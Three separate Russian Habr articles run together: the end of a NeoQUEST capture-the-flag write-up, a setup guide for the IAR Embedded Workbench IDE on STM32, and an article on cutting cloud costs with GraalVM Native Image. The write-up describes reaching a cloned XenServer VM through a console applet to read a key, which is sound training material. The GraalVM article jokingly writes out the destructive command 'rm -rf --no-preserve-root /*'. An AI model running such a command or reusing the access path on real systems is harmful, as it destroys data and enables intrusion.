AVERAGE:vm:4ac6b5b5-fb19-4874-b87a-c0da37f807cf:cpu0
AVERAGE:vm:4ac6b5b5-fb19-4874-b87a-c0da37f807cf:memory
AVERAGE:vm:4ac6b5b5-fb19-4874-b87a-c0da37f807cf:memory\_target
AVERAGE:vm:11c607ae-c779-c9dd-6b5e-17fd4461defe:cpu0
AVERAGE:vm:11c607ae-c779-c9dd-6b5e-17fd4461defe:memory
AVERAGE:vm:11c607ae-c779-c9dd-6b5e-17fd4461defe:vbd\_hdd\_write
AVERAGE:vm:11c607ae-c779-c9dd-6b5e-17fd4461defe:vbd\_hdd\_read
AVERAGE:vm:11c607ae-c779-c9dd-6b5e-17fd4461defe:vbd\_hda\_write
AVERAGE:vm:11c607ae-c779-c9dd-6b5e-17fd4461defe:vbd\_hda\_read
AVERAGE:vm:11c607ae-c779-c9dd-6b5e-17fd4461defe:memory\_target
AVERAGE:vm:11c607ae-c779-c9dd-6b5e-17fd4461defe:vif\_0\_tx
AVERAGE:vm:11c607ae-c779-c9dd-6b5e-17fd4461defe:vif\_0\_rx
AVERAGE:vm:11c607ae-c779-c9dd-6b5e-17fd4461defe:memory\_internal\_free
AVERAGE:vm:362f5638-b9af-56e8-52dd-92f79267f6ef:cpu0
AVERAGE:vm:362f5638-b9af-56e8-52dd-92f79267f6ef:vif\_0\_tx
AVERAGE:vm:362f5638-b9af-56e8-52dd-92f79267f6ef:vif\_0\_rx
AVERAGE:vm:362f5638-b9af-56e8-52dd-92f79267f6ef:vbd\_hdd\_write
AVERAGE:vm:362f5638-b9af-56e8-52dd-92f79267f6ef:vbd\_hdd\_read
AVERAGE:vm:362f5638-b9af-56e8-52dd-92f79267f6ef:vbd\_hda\_write
AVERAGE:vm:362f5638-b9af-56e8-52dd-92f79267f6ef:vbd\_hda\_read
AVERAGE:vm:362f5638-b9af-56e8-52dd-92f79267f6ef:memory
AVERAGE:vm:362f5638-b9af-56e8-52dd-92f79267f6ef:memory\_internal\_free
AVERAGE:vm:362f5638-b9af-56e8-52dd-92f79267f6ef:memory\_target
```
Из этой xml можно получить 3 UUID: 4ac6b5b5-fb19-4874-b87a-c0da37f807cf, 11c607ae-c779-c9dd-6b5e-17fd4461defe, 362f5638-b9af-56e8-52dd-92f79267f6ef.
Хоть UUID и не совпадают с теми, что есть в задании, но они также подходят!
##### **Конец задания**
Дальше перебираем имеющиеся UUID или ссылки на имеющейся локальной копии сайта с апплетом. В случае с ссылкой, полученной через API, правильный результат будет — [10.0.20.61/console?uuid=9b7965ed-002b-5d52-4bd6-380556aa2219](https://10.0.20.61/console?uuid=9b7965ed-002b-5d52-4bd6-380556aa2219), а в случае с UUID — 11c607ae-c779-c9dd-6b5e-17fd4461defe. Мы попадаем на клон первой виртуальной машины, но в браузере почищена история. Однако мы помним, что там был phpmyadmin! Заходим на localhost/phpmyadmin, там такая же база – neoquest, с такой же таблицей – key, в которой и лежит ключ:
![](https://habrastorage.org/r/w1560/files/57e/004/b15/57e004b151174f48bfbaf20d84909c4e.png)
Таким образом, используя этот апплет, злоумышленник может «угнать» ваше облако XenServer!
##### **А регистрация на NeoQUEST-2016 продолжается!**
На NeoQUEST-2016 участников ждет множество интересных и разнообразных заданий, как сложных, так и довольно простых, пройти которые под силу даже новичкам в информационной безопасности. Выбирай свою сторону и [регистрируйся](http://2016.neoquest.ru/)! | https://habr.com/ru/post/264555/ | null | ru | null |
# Использование среды разработки IAR Ebedded Workbench IDE
![image](https://habrastorage.org/r/w1560/getpro/geektimes/post_images/622/ae5/ca3/622ae5ca31baac8515476e662bf37763.png)
#### Введение
Используя разные микроконтроллеры, возникает необходимость выбрать удобную среду разработки. Нам есть из чего выбирать – будь то IAR или Keil µVision, или, даже Code Composer Studio.
Ниже пойдет речь об IAR Embedded Workbench IDE на примере STM32F10x. Эта среда разработки достаточно мощная. Имеются всякие вкусняшки.
#### Настройка IAR
В первую очередь нужно настроить IAR.
##### Основные настройки
После запуска IAR заходим в опции (**Tools->Options…**). Сразу же будет выбран пункт **Editor**. В поле **Ident size** число указывает на количество пробелов при нажатии Tab. Для меня удобно использовать число **4**.
Стоит уделить внимание пункту **Key Bindings**. Здесь можно назначить горячие клавиши. Согласитесь, все-таки, удобно и быстро пользоваться комбинациями клавиш. Пока что, можно назначить комбинацию Ctrl+W как закрытие активных вкладок. Для этого в **Menu** выбираем **Window** и для команды **Close active tab** назначаем **Ctrl+W**.
С остальными горячими клавишами познакомимся ниже.
##### Настройки проекта
Допустим, создавать новый проект мы умеем (если нет, то **Project->Create New Project…**). После создания проекта нам доступны две конфигурации проекта – **Debug** и **Release**. Переключаться между ними можно в окне **Workspace**:
![Окно Workspace](https://habrastorage.org/r/w1560/getpro/geektimes/post_images/022/e0a/f00/022e0af0066559be3a2d928cd30a69d3.png)
***Рис. 1** – Окно Workspace*
Удобно использовать несколько конфигураций. В конфигурации **Debug** можно выбрать симулятор программатора, а в **Release** – конкретный программатор (к примеру, J-Link). Что позволит сначала отлаживать в симуляторе, не теряя время на прошивку микроконтроллера, а потом уже прошивать под конфигурацией **Release**.
Добавлять новые конфигурации можно через меню: **Project->Edit Configurations**.
Опции самого проекта – **Project->Options…** (**Alt+F7**). Для открытия окна опций проекта нужно выделить сам проект в окне **Workspace**, иначе откроются опции того файла, который был выделен.
Настройки буду приводить для конфигурации **Debug** (в скобках – для **Release**).
Открываем опции (**Alt+F7**)
1. **General Options**.
Вкладка **Target**. Выбираем **Device** – например, **ST STM32F100xB** (у меня STM32VLDISCOVERY с STM32F100RBT6 на борту).
2. **С/C++ Compiler**.
Вкладка **Optimizations**. Выбираем **Level** – **None** (для **Release** — **High**).
Вкладка **Preprocessor**. В поле **Additional include directories** вводим все пути заголовочных файлов, имеющих расширение **\*.h**. Например:
`$PROJ_DIR$\..\Lib\include\`
Остальные переменные, на подобии $PROJ\_DIR$, можете посмотреть в хелпе по F1, введя в поиске *Argument variables*.
В этой же вкладке, в поле **Defined symbols** вписываем нужные дефайны. Это аналог обычной директивы **#define**. Для нашей отладочной платки нужно ввести **STM32F10X\_MD\_VL**, если мы хотим использовать библиотеки от криворуких STM’овцев.
Так же для конфигурации **Debug** можно завести дефайн **DEBUG**. Это удобно, если использовать, к примеру, конструкцию:
`#ifndef DEBUG
Delay(100 часов);
#endif`
Зачем же нам ждать это время при отладке, правда же?
3. **Linker**.
Вкладка **Config**. Здесь можно выбрать конфигурационный файл для линковщика, если это необходимо (если у вас не 8-ми битный микроконтроллер). Если необходимо перераспределить память микроконтроллера по-своему, то нужно ковырять файл \*.icf. Об этом можно прочитать в **Help->C/C++ Development Guide** страница 81 **Linking your application**. Если эта тема сложная, то можно написать об этом отдельно. Спрашивайте, если что.
4. **Debugger**.
Вкладка **Setup**. В поле **Driver** выбираем **Simulator** (для **Release** – свой программатор. Для моей платы – ST-LINK. В настройках для него нужно выбрать интерфейс SWD).
![Дерево проекта](https://habrastorage.org/r/w1560/getpro/geektimes/post_images/bcf/d83/020/bcfd830202a748cfaea8a80269427963.png)
***Рис. 2** – Дерево проекта*
И, напоследок, создайте дерево проекта на ваш вкус.
#### Некоторые приемы
##### Горячие клавиши
###### Поиск:
Обычный поиск – **Ctrl+F**
Найти дальше – **F3**
Поиск по файлам проекта – **Ctrl+Shift+F**
Шагать по найденному (или по ошибкам/ворнингам) – **F4**
###### Навигация по проекту:
Перейти к объявлению переменной (даже, если она в другом файле) – **F12** — очень полезная функция!
Навигация вперед – **Alt+Right**
Навигация назад – **Alt+Left**
###### Разное:
Открыть header/source – **Ctrl+Shift+H** (или П.К.М в редакторе, и в контекстном меню выбрать **Open Header/Source File**)
Закомментировать выделенный блок – **Ctrl+K**
Разкомментировать – **Ctrl+Shift+K**
Выделить содержимое скобок – **Ctrl+B**
Автовыравнивание – **Ctrl+T**
Поставить/убрать Breakpoint – **F9**
Вставить шаблон – **Ctrl+Shift+Space** – тоже интересная штука.
Чтобы добавить свой шаблон, нужно открыть файл **CodeTemplates.ENU.txt** через меню **Edit->Code Templates->Edit Templates**
Теперь можно ввести примерно следующее:
```
#TEMPLATE "&Warning","Введите текст:"="Не забыть изменить"
#warning %1
```
Синтаксис шаблона:
`#TEMPLATE ,[=default value], ...
Знак «&» нужен для быстрого доступа (буква будет подчеркнута). Можно использовать знак «>» для создания подменю. Все интуитивно понятно.
Сохраним файл и вызовем Template menu (**Ctrl+Shift+Space**). В нем выберем Warning:
![Вызов меню Template](https://habrastorage.org/r/w1560/getpro/geektimes/post_images/be1/12f/8ea/be112f8eab9697754185cdc3ce8d1205.png)
***Рис. 3** – Вызов меню Template*
Введем необходимый текст:
![Шаблон Warning](https://habrastorage.org/r/w1560/getpro/geektimes/post_images/880/1f2/e1c/8801f2e1c3d4490ba3f07abee24ba99f.png)
***Рис. 4** – Шаблон Warning*
Жмякаем по кнопке OK. В результате, появится строчка:
![Результат использования шаблона](https://habrastorage.org/r/w1560/getpro/geektimes/post_images/a41/b30/637/a41b306371de0b65182536dcd6605667.png)
***Рис. 5** – Результат использования шаблона*
При компиляции все ворнинги и ерроры (#error <текст>) будут выводиться в окне **Build**.
#### Заключение
В этой статье были приведены основные возможности IAR, позволяющие достаточно быстро ориентироваться в проекте. Рекомендую использовать горячие клавиши. Это значительно сокращает время работы над проектом.
Буду признателен, если читатель дополнит или поправит меня.
#### Используемая литература
1. Документация IAR` | https://habr.com/ru/post/152407/ | null | ru | null |
# Двадцать бабушек – уже рубль. Как GraalVM Native Image позволяет экономить джавистам и девопсам деньги на облако
Первая статья в нашем блоге. Я постарался написать хороший текст на основе докладов из [Failover Bar](https://failoverbar.ru/) и прошлого [митапа Альфы](https://habr.com/ru/company/alfa/news/t/694726/), и человеческими словами объяснить, зачем нужен GraalVM.
Мы поговорим об экономии на облаках в мире победившего Кубернетиса, обсудим перформанс современного приложения, и какие ништяки Native Image помогут нам во всём этом.
**Mad skills bonus**: вы сможете писать на Java приложения для командной строки так, что они не будут тормозить по сравнению со скриптами на Bash. Но вначале небольшая телега вместо вступления.
![](https://habrastorage.org/r/w780q1/webt/zl/wz/a6/zlwza6kkwfgvmznpsrrb3iyz5ca.jpeg)Когда-то, сто лет назад в 2018 году, Леша Федоров зачем-то выпустил меня на JUG в Питере, где я затирал дичь про GraalVM.
![](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/b0d/91a/7ea/b0d91a7ead544e85ef2e3159b2d6667d.jpeg)Дичь заключалась в том, что, несмотря на множество интересных технических фактов из научных работ и потрясающие ракетные технологии, оставался непонятным вопрос: зачем это все нужно? Наверное, правильный ответ в 2018 году должен был звучать как "низачем, это просто интересно". Сейчас ситуация изменилась.
"Хаос - это не провал, хаос - это лестница" говорил известный персонаж Петир Бейлиш из Игры Престолов. В этом году случилось много не самых приятных вещей, но есть и плюсы - я наконец-то работаю в компании, которая делает свой собственный дистрибутив Java - [Axiom JDK](https://axiomjdk.ru/), и у нас как у Java-сообщества есть почти свой собственный meetup-бар [Failover Bar](https://failoverbar.ru/), где можно на халяву делать JUG и тренировать доклады на Joker и Highload.
### Что еще произошло
* GraalVM стал очень нужен;
* Kubernetes всех победил;
* Компании массово мигрируют на российские облака.
Тут надобно бы поговорить о ресурсах, но есть нюанс: на проде о закупке оперативной памяти обычно думают спецпально обученные люди, и для разработчика это не так больно. Поэтому сделаем, чтобы было максимально больно.
Представьте, что вы пилите какой-то пет-проект. Например, вы взяли Spring PetClinic и решили сделать сайт для собачего приюта в родном городе. Кстати, это хорошая идея - вы не представляете, скольким "обычным" людям пригодились бы наши знания в разработке.
Два ядра, четыре гига и 200 гигов диска для нашего хэлловорлда должно быть достаточно. Сходим на Амазон и создадим такую виртуалку.
![](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/a6f/918/a67/a6f918a6724f7b7667c45b3cf229398e.jpeg)![](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/527/202/6be/5272026be7c664572d8ea6b646519ba2.jpeg)Теперь сходим в МТС Клауд и создадим такую же виртуалку.
![](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/358/151/ef8/358151ef831171150d92f50e05c718a5.jpeg)Можно сходить куда-нибудь во [flops.ru](http://flops.ru) и получить все то же самое дешевле, но в обмен на стремную скорость дисков. Или в Селектел, или в Сберклауд, или в Яндекс-Облако.
Это не гайд по всем облачным провайдерам России, это важная заметка: облака стоят больших денег. Больше, чем то, к чему мы привыкли раньше.
Если вам кажется, что 8 тысяч - не деньги, и вообще-то один поход в магазин, то вспомните, что "два ядра, четыре гига" - это минимальный сетап. У вас же Java, а не C++ какой-нибудь. Если купить ядра 4, памяти 16, а SSD - 400, то это уже 20 тысяч в месяц.
Хаброкарьера в 2021 году проводила [исследование зарплат разработчиков](https://habr.com/ru/company/habr_career/blog/659343/). Возьмем зарплату джава-тимлида, и воспользуемся нехитрой формулой: 20 000 руб / 300 000 руб \* 100% = 7% зарплаты тимлида нужно отдать на наш чудесный пет-проект. Дальше разговаривайте со своей жабой.
![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/a4b/6ec/13f/a4b6ec13f243cef6f433f0d2f9a3e2c9.png)Моя жаба давно победила, поэтому тесты для пет-проектов я гоняю не в облаках, а на старых компьютерах, стоящих дома в гардеробе. С учетом, что эти компьютеры уже давно куплены, экономия - гигантская.
![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/1ce/7fa/5dc/1ce7fa5dcce9c7703e0b3c73eaa58cf3.png)#### Можно ли убежать на другие технологии?
Большая проблема в том, что на другие технологии убежать можно, но радости от этого не будет. Будет геморрой.
Например, у нас есть чудесный Rust. Чудесный до того, как ты осознал время компиляции (на больших проектах может оказаться сравнимо с GraalVM Native Image). Или то, что у Rust огромные проблемы с тулингом для поиска проблем. Например, если у тебя потекла память, все что ты можешь сделать - поставить специальный аллокатор, который может быть тебе что-то скажет (или нет). Опять же, поинт не в том, чтобы пнуть Rust, тем более что я сам им пользуюсь и нежно люблю. А в том, что всё имеет свою цену.
Для энтерпрайза уход с джавы имеет последствия в виде потери чудовищных денег, которые уже вложены в легаси. И потеря всего тулинга для джавы, который сильно уменьшает TCO. А для мелкостартапа уход с джавы означает страшные потери времени на разработку - с другими технологиями куда больше нужно мучиться в отладке, настройке, поддержке прода, итп.
Большинство читателей этого текста, наверное, успели поработать и в большой корпорации, и попробовали писать свои проекты с друзьями, поэтому боль сможете прочувствовать сразу во всей полноте.
Пойдем по несколько более технологичной ветке, и порассуждаем, где можно сэкономить.
#### Перформанс облачного приложения
Раньше мы жили в мире монолитов. Монолитам нужна голая пропускная способность. Приложение может долго запускаться и прогреваться, но будучи прогретым - жарит как не в себя.
Возьмем какую-нибудь условную Jira, которой для запуска нужно ресурсов как на обсчёт полёта до Альфы Центавры, которая дико тормозит и переваливается на старте, но если уж запустилась - работает довольно прилично. Пока не упадет, но это уже другая история.
Этот профиль использования отлично подходит для JIT (just-in-time compiler), и именно поэтому Java когда-то 20 лет назад настолько хорошо выстрелила и зашла корпорациям.
![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/2c7/492/6cb/2c74926cb5741ad27d187783251af5fd.png)Времена меняются, и теперь у нас повсеместно облака и Kubernetes.
Кубер перезапускает приложения и двигает по кластеру. Иногда при движении происходит обмен трансграничным трафиком, который стоит дополнительных денег.
Поэтому нам важна скорость перезапуска и количество используемой оперативной памяти. Важна атомарность пакета поставки, потому что тебе не хочется таскать с собой сеть каких-то обрывочных микросервисов, если это не супер необходимо.
И нам уж точно не хочется иметь классический массив пред-прогретых JVM, которые "ничего не делают и только топливо жрут", как Скрипач в "Кин-Дза-Дза".
Для этого профиля использования гораздо лучше подходит что-то предварительно скомпилированное. Нам нужен AOT (ahead-of-time compilation).
#### Размер или смерть
![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/a31/dd6/99b/a31dd699bbd3a218074f327f2c9c3aeb.png)Дальше у нас есть чудесный выбор. Или как-то переписать приложение, чтобы оно начало дичайше AOT-иться, или уменьшить размер базового образа.
Игры с размером базового образа существуют, мы их рассмотрим в конце (тем более, что это шанс попиарить российский [Axiom JDK](https://axiomjdk.ru/)).
Переписать приложение на Go, Rust или C++ заманчиво, но какой же бизнес на это даст денег? А если у тебя свой собсвенный мелкостартап на три человека, задумайся - осилишь ли ты тратить время на утечки памяти и процессора в Go/Rust, согласен ли забиндить `if err != nil` на тачбар своего макбука (придется купить старый макбук с тачбаром!). Ну и конечно, никто без особой причины не будет трогать С++.
![](https://habrastorage.org/r/w1560/webt/ki/f6/qt/kif6qtczwuei94mkurdxxe-iy_0.png)К счастью, у нас есть компромиссный выход в виде GraalVM Native Image.
#### Что это такое?
Я постараюсь выбросить весь маркетинговый буллшит и ответить как есть. Получится не супер пафосно, но уж как есть. GraalVM - это Java-машина, построенная на основе классической OpenJDK, с набором дополнительных интересных фичей.
Вообще, раньше это было что-то типа игрушки для ученых, которые тестировали на ней свои идеи и писали диссертации, пользуясь красивым и человекопонятным кодом (не как в ad-файлах OpenJDK). Такой свет в темном царстве Java 8, когда люди и не надеялись, что свежие релизы джавы будут выходить два раза в год. Например, GraalVM может на интепретаторах поверх Truffle запускать что угодно, включая Python и C++. Не совсем понятно, зачем это нужно широкому потребителю, но звучит крайне волнующе, как особая граальная магия.
![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/226/723/632/226723632aabb464c657718258f9a722.png)Но в какой-то момент ученые и инженеры понаписали достаточно качественного кода, чтобы он победил JIT C2 в OpenJDK, а это уже реальные деньги и совсем другой бизнес.
Насколько хорош этот JIT? Бенчмарк Ренессанс считает, что там можно выжать процентов 10 легко. Чем сразу же воспользовались всякие Твиттеры и другие большие энтерпрайзы (вспоминаем [доклады](https://www.youtube.com/watch?v=OPOHmQORG6M) Криса Талингера). Десять процентов на проде - это классическое "двадцать бабушек - уже рубль". Миллионы баксов.
![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/a38/f32/a4d/a38f32a4df58092a00cb59997fdc9e20.png)Но у нас речь не о джите, а о маленькой утилите из стандартного набора, которая называется GraalVM Native Image. Она умеет компилировать JAR-файлы в исполняемые бинарники (например, EXE на Винде).
Идея простая - если мы можем что-то скомпилировать just in time в рантайме, то наверное, мы можем сделать то же самое и заранее, до запуска? Звучит как отличная идея для научной работы :) И вот, результаты всех этих работ у нас в руках.
#### 5 шагов к успеху
1. Скачать архив (для глобального использования подойдет Community Edition с [сайта Oracle](https://www.graalvm.org/downloads/), для российских разработок запросите триал [Axiom Native Image Kit](https://axiomjdk.ru)).
2. Распаковать: `tar -zxf …`
3. `export GRAALVM_HOME= …`
4. `export PATH=GRAALVM_HOME/bin:PATH`
5. `gu install native-image`
Последняя команда нужна потому, что дистрибутив GraalVM и так слишком жирный. Если впихнуть туда все на свете, включая Native Image, он начнет весить не 300 мегабайт, а все 3 гигабайта, а этого нам не нужно. Поэтому там есть встроенный пакетный менеджер (прямо как в дистрибутиве GNU/Linux), который позволяет добавить туда дополнительные технологии за одну короткую команду.
#### Разница в фазах работы
У обычного приложения есть всего одна фаза - рантайм.
В рантайме JVM загружает классы, верифицирует, инициализирует, готовит метаданные, стартует интерпретатор и JIT-компилятор, создает какие-то временные структуры данных. Там есть своя очередность, например, агенты инструментирования отработают раньше остального. Но все равно, это одна большая фаза - рантайм.
В случае с Native Image, фазы две: вначале сборка, и потом рантайм.
Фазы эти разнесены во времени и пространстве. Например, сегодня можно скомпилировать ваше гигантское приложение в датацентре, скачав миллиард зависимостей из Maven Central, а уже завтра уехать в отпуск в Сочи и запускать его на маломощном ноутбуке без интернета. Профит.
Если у классической JVM-ки сложным был рантайм, то здесь он очень прост - это обычное выполнение бинаря в операционной системе. А вот на этапе сборки происходят ракетные технологии.
![](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/379/741/79c/37974179c010d010400ad70ba450c306.jpeg)Вначале Native Image собирает все доступные классы. Туда попадают не только классы из твоего приложения и зависимостей, но и стандартная библиотека JDK.
Дальше оно докладывает к этому нечто под названием Substrate VM. Можно думать об этом как о минимальном наборе нативных костылей, чтобы рантайм взлетел. Например, туда входит сборщик мусора и шедулер тредов.
Дальше оно в статическом анализе смотрит, к каким членам классов есть доступ, следует по всем вызовам методов и конструкторам, инициализирует все встреченные классы.
Только с этими найденными классами оно будет работать в дальнейшем, только они попадут в бинарник. Это снижает размер файлов и скорость запуска.
Полученный код компилируется и пишется в секцию TEXT.
Дальше инициализируются структуры данных и классы, сериализуются в Image Heap, и записываются в бинарник, в секцию DATA.
#### Проблемы инициализации
Во первый, вот вам небольшой рофл. Сдампить при инициализации можно все что угодно, достаточно записать это в поле как статические данные. Веселые картинки, ролики с ютуба, Lord of The Rings в режиссерской версии. После чего вас увезут в дурку, конечно.
Здоровые люди сохраняют туда карренси, локали, дейт-тайм конвертеры и прочий мусор, тормозящий на старте приложение.
Выглядит красиво. К сожалению, система эта даже не вполовину такая умная, как хотелось бы. В часности, оно полностью пропускает:
* Reflection
* Proxies,
* Method Handles
* Serialization
* JNI
* Resources
* Наверняка что-то еще, что я забыл
Поэтому вам нужно вручную писать конфиги типа:
```
[
{
"name" : "java.lang.String",
"fields" : [
{ "name" : "value", "allowWrite" : true },
{ "name" : "hash" }
],
"methods" : [
{ "name" : "", "parameterTypes" : [] },
{ "name" : "", "parameterTypes" : ["char[]"] },
{ "name" : "charAt" },
{ "name" : "format", "parameterTypes" : ["java.lang.String", "java.lang.Object[]"] }
]
}
]
```
Хорошее место, чтобы закрыть эту статью и пойти пить и плакать. Но так как сейчас середина дня, давайте посмотрим на автогенераторы таких конфигов.
Можно запустить ваше приложение на обычной JVM со специальным джава-агентом, после чего использовать приложение в хвост и гриву некоторое время. Например, отдать реальным пользователям или тестировщикам. Вот как это делается:
```
$JAVA_HOME/bin/java -agentlib:native-image-agent
=config-output-dir=META-INF/native-image
-jar App.jar
```
Сразу после остановки приложения у вас сгенерится целая пачка жирных JSON-ов с конфигами, и писать вручную почти ничего не придется. Ну или такова идея. Дальше можно скомпилировать приложение с этими конфигом, и оно должно скомпилироваться без ошибок: `native-image -H:ResourceConfigurationFiles=config.json`
#### Тесты
Сразу возникает вопрос про тесты, потому что во-первых, они по своей природе используют кучу динамических ресурсов, и во-вторых - не хочется иметь их как часть приложения в продовой сборке.
К счастью, для автоматического поиска тестов у нас есть еще один джава-агент, но на этот раз, лежащий во внешнем репозитории [Native Build Tools](https://github.com/graalvm/native-build-tools).
Технически эта штука оформлена как плагин для Maven/Gradle, которая в тестовом запуске генерирует тебе специальную сборку приложения со включенными внутрь тестами. Подробнее лучше прочитать [в документации](https://graalvm.github.io/native-build-tools/latest/index.html), выбрав свой вариант (Maven или Gradle).
#### Когда инициализировать?
Инициализировать данные можно и в рантайме, и в билд-тайме. Инструменты для этого есть - можно указать, какое поле хочется получить где.
Вопрос - когда **нужно** этим заниматься?
Вопрос топовый, потому что раньше поля инициализировались на этапе сборки. А потом перестали, и сейчас вариант по-умолчанию - это рантайм.
С одной стороны, если проинициализировать все заранее, до запуска, старт приложения должен быть очень-очень быстрым. Сама идея отличная, но такая инициализация приносит огромный ворох проблем, которые не всегда можно быстро и просто решить. В смысле, отвечать за них будет именно пользователь, а не авторы компилятора.
Во-первых, это цепочки статической инициализации. У классов могут быть статические инициализаторы, которые внутри себя используют другие классы. У других классов тоже есть статика, и пошло-поехало рекурсивно. Сборка начинает захватывать все больше кода, компиляция начинает длиться вечность, результирующий бинарник становится огромным.
Во-вторых, не все классы по смыслу совместимы с идеей "заморозки" внутри бинарника. Если ты заморозишь Random, он начнет отдавать одни и те же цепочки чисел, и наверное, это не то, что мы от него ждем. А что рантайм должен сделать с сохраненным внутрь бинарника тредом? Не знаете? И никто не знает.
В-третьих, эффект лавины. Чем больше классов, тем больше проблем накладывается друг на друга. Например, у тебя есть реальное приложение с асинхронными логгерами, которые ты пытаешься инициализировать на этапе сборки. А у логгеров внутри очередь, очередь работает на тредах, а треды мы сохранять не можем - все, приплыли.
Самая жесть в том, что таким образом на обычного разработчика перекладываются проблемы фреймворков. Ты случайно инициализировал у себя часть чужого фреймворка (например, кусок Hibernate), а он не собирается под Native Image с какой-то непонятной ошибкой. Вообще-то это проблема авторов Hibernate, что он не собирается. Но теперь это и твоя лично проблема, решать которую придется дикими костылями.
В-четвертых, это куча опций для настройки. Приятно, что они есть. Неприятно, что их много, и они все требуют дополнительного понимания, как все это работает. Когда тебе нужно просто по-быстрому собрать свой продукт, разбираться тупо нет времени и сил.
#### Время сборки
И вот мы подошли к самой большой и страшной проблеме GraalVM Native Image - время сборки.
![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/64e/02a/2ca/64e02a2ca106abd9ca2282878624ea59.png)Даже для хэлловорлда, на сборочной машине нужно несколько гигабайт оперативной памяти и несколько минут работы процессора. Потребуется очень хороший компьютер для разработки.
Зависимость эта не линейная, но тем не менее - неприятная. Нелинейная в том смысле, что значительная часть усилий тратится на сборку стандартных зависимостей, среди которых объем твоего приложения - капля в море. От того, что ты написал вместо хэлловорлда приложение на десять листов кода, скорость сборки практически не поменяется. По ходу разработки проекта, обычно разница во времени сборки проявляется из-за подключения дополнительных зависимостей.
Эту проблему давным-давно прочувствовали на себе разработчики C++. Вот чудесный гайд для новичков в проекте Chromium:
![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/4b2/b54/5d2/4b2b545d20ef95fe74a5191f30be4063.png)Разработчики Chromium рекомендуют идти к работодателю и просить самую дорогую и мощную рабочую тачку, какая сейчас есть в Google. И дальше молиться, поститься и слушать радио Радонеж, потому что в открытом коде, как и в открытом космосе, никто не услышит твой крик.
Быстро эту проблему не решат, но тем не менее, перспективы довольно хорошие. Разработчики активно пилят GraalVM, новые коммиты приходят каждый день. За последнее время скорость сборки GraalVM Native Image увеличилась раза в два, а со временем туда могут добавить кэш компиляции (прямо как в C++) и проблема просто исчезнет.
Для нас же сейчас стоит осознать, что стандартная практика подключения к своему проекту половины Maven Central резко потеряла свою актуальность. Думайте, что подключаете.
Помочь в этом может дашборд, который встроен в GraalVM:
```
native-image -H:+DashboardAll -H:DashboardDump=dumpfileoversized
```
![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/048/4fb/cb8/0484fbcb80675f1d4f7883f3b9cfe0b6.png)Идея очень простая: чтобы бинарник занимал меньше места и быстрее собирался, нужно выбросить весь ненужный код. Какой код не нужен? Об этом скажет Native Image с параметром +DashboardAll.
Возможности оптимизации лежат на поверхности. Например, вы вычитываете XML-файл для того, чтобы прочитать одну строчку конфигурации. Использование XML заставляет загрузить всю огромную машинерию для работы с ним. Вместо этого вы могли бы серьезно сэкономить, сохранив свою строчку в текст или в properties-файл.
#### Дополнительное сжатие
Native Image достаточно хорошо сжимает бинарники. Но upx и gzexe сожмут их еще сильнее, минимум на треть.
```
upx --best -k my_native_image
```
![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/2b6/148/678/2b6148678d806e3201ebdab54b2dd5f6.png)#### Настройка сборщика мусора
В Native Image есть собственный сборщик мусора. По сути, стандартный сборщик мусора с поколениями (generational scavenger), вроде того, что был во времена Java 9.
В платной версии GraalVM от Oracle есть еще и G1. В следующем году в GraalVM добавят ParallelGC, он окажется и в Axiom Native Image Kit. У ParallelGC throughput даже лучше, чем в G1, и это куда лучше подходит для облаков. Но надо понимать, что это платные коммерческие решения, а сейчас мы поговорим о том, что есть сразу и на халяву: наш generational scavenger.
У него есть несколько настроек, вот часть из них.
В рантайме:
* `-Xmx` – максимальный размер кучи в байтах
* `-Xms` – минимальный размер кучи в байтах
* `-Xmn` – размер молодого поколения в байтах
* `-XX:+PrintGC` – распечатать информацию о сборках мусора
* `-XX:+VerboseGC` – можно добавить и увидеть подробности
Во время сборки:
* `-R:MaxHeapSize` – максимальный дефолтный хип в байтах
Для любого джависта эти настройки достаточно понятны, но все-таки, пара нюансов. Во-первых, сборщик вылезает за лимиты -Xmx, поэтому ставить размер контейнера в точности как Xmx не стоит. Это происходит из-за особенностей реализации сборщика мусора, когда он перемещает объекты - он их складывает в специальное отдельное место, которое в Xmx не входит. Строго говоря, и обычная JVM-ка тоже занимает больше своего Xmx. Какой вывод для использования в Кубере? Сделайте контейнер чуть больше.
Во-вторых, для написания консольного софта полезна опция MaxHeapSize. Обычное для джавы поведение - если не указан Xmx, то она поглощает всю память, какую захочет. MaxHeapSize ставит лимит на это количество, что позволяет со старта отожать памяти меньше, чем обычные дефолты.
Зачем это может быть нужно? Ну например, если вы пишете какую-то свою команду вроде `ls`, `cp` или `rm -rf --no-preserve-root /*`, и вам хочется иметь минимальное время старта. Все понимают, что на обычной джаве можно написать утилиту `cp`, но запускаться она будет миллион лет. Можно иметь для этого пул пред-прогретых JVM, и другие извращенские технологии, но с появлением Native Image все это больше не нужно.
Конечно же, такую утилиту командной строки можно написать на каком-то другом нормальном языке, типа Go или Rust. Go еще и компилируется в миллион раз быстрее. Но используя Java, вы можете пошарить код консольного приложения с вашим основным продуктом. Очень удобно писать всякие консольные клиенты для веб-сервисов, они делаются простым переносом структур данных сетевого протокола (какие-то DTO-шки на Java) внутрь консольного приложения.
#### Уменьшение размера контейнера
Последний путь уменьшить размер облачного приложения и сократить расходы на него - это уменьшение базового образа.
В первом приближении, можно использовать любой slim образ. Например, Debian Slim или [Axiom Runtime Container](https://axiomjdk.ru/), с интегрированными внутрь дистрибутивами Java.
Debian Slim бесплатный, но огромный. И еще его иногда мантейнеры собирают неправильно, и он становится совсем огромный (400 мегабайт вместо 200).
Axiom Runtme Container платный, но сильно меньше (около 50-100 мегабайт), и подходит серьезным энтерпрайзам (сейчас на нем работает весь российский банкинг). По факту, Axiom Runtime Container - это самые маленькие контейнеры **в мире**, на чем они и зарабатывают себе на хлеб с маслом (стоимость лицензии на Axiom рядом не стоит с экономленными на облаках деньгами).
